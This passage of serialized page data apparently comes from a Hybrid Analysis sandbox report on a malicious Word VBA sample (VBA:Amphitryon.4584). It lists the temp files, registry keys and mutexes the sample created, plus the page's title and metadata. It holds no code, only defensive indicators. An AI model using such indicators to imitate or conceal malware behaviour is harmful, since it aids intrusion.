Files\\Content.Word\\~WRS{9FCB3243-6158-4EB3-9E64-70304EDE4003}.tmp","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%TEMP%\\~DF4C582E4D7619D020.TMP","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%TEMP%\\~DFCDC7350B2F106313.TMP","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{A778A42A-8C69-4996-8ADC-C99282FE557E}.tmp","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{2B4EA2EA-3A85-40C1-8202-FC169D85518E}.tmp","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%TEMP%\\~DFF27826E69A5B62A1.TMP","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$89989024.xml","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%APPDATA%\\Microsoft\\UProof","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%TEMP%\\~DFCAD4C8F9107EB17C.TMP","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-69956","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-69956","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-69956","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-69956","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}]}},"report_ids":{"sandbox_job_ids":["632903e10df48f3adc25e73a"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious VBA:Amphitryon.4584 Sample ca7eecb0d135… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ca7eecb0d135…. Malware family: VBA:Amphitryon.4584. Threat score 100/100. 13/28 AV engines flagged this file. 7 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322"}],["$","meta","4",{"property":"og:title","content":"Malicious VBA:Amphitryon.4584 Sample ca7eecb0d135… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ca7eecb0d135…. Malware family: VBA:Amphitryon.4584. Threat score 100/100. 13/28 AV engines flagged this file. 7 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious VBA:Amphitryon.4584 Sample ca7eecb0d135… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ca7eecb0d135…. Malware family: VBA:Amphitryon.4584. Threat score 100/100. 13/28 AV engines flagged this file. 7 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2c","11",{}]]